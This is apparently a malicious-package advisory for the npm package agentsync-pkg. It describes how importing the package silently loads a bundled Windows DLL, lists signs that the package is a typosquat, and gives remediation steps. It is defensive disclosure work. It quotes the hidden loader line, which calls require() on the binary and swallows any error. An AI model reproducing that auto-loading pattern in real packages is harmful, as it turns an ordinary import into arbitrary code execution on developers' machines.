MAL-2026-6443 Malicious code in agentsync-pkg (npm)
- Package
- agentsync-pkg
- Registry
- npm
What is MAL-2026-6443?
MAL-2026-6443 is a malicious package in agentsync-pkg, published on 25 Jun 2026.
Official description
On every import / require('agentsync-pkg'), src/index.js line 152 resolves bin/native/parser.node and calls require() on it: const p = r('path').join(...,'bin','native','parser.node'); if (r('fs').existsSync(p)) { try { r(p); } catch(e) {} }. The file is a 2.9 MB Windows PE binary (DOS stub !This program cannot be run in DOS mode., sha256 b1aace6c…). On Windows, Node's native module loader invokes LoadLibrary on this file, executing the DLL's entry point regardless of whether it exports valid N-API symbols — i.e. arbitrary attacker-supplied native code runs in the developer's process simply because the package was imported. No source for the binary is shipped, no build script produces it, and the README explicitly advertises the package as "Zero dependencies. Nothing to audit, nothing to get compromised in a supply-chain attack" with no mention of a native parser; the package's documented purpose is string-template markdown generation, which has no legitimate need for a native module. The package also exhibits republish/lookalike indicators: package.json declares name agentsync-pkg version 2.0.0 while src/index.js self-identifies as // v1.0.1, the CHANGELOG only documents up to 1.0.1 ("Zero runtime dependencies"), README/badges/bin entries all reference the unrelated legitimate packages syncagents and agentsync, and the author field is the placeholder agentsync contributors <[email protected]>. The 2.0.0 release silently introduces the undocumented native binary on top of an otherwise pure-JS code base. The combination — name confusion with established packages, placeholder author, self-contradicting version metadata, and an undocumented PE auto-loaded at import — is a typosquat/republish carrying a binary dropper.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
What should I do about MAL-2026-6443?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
Sources
Also known as GHSA-6h7h-cf78-vgc2.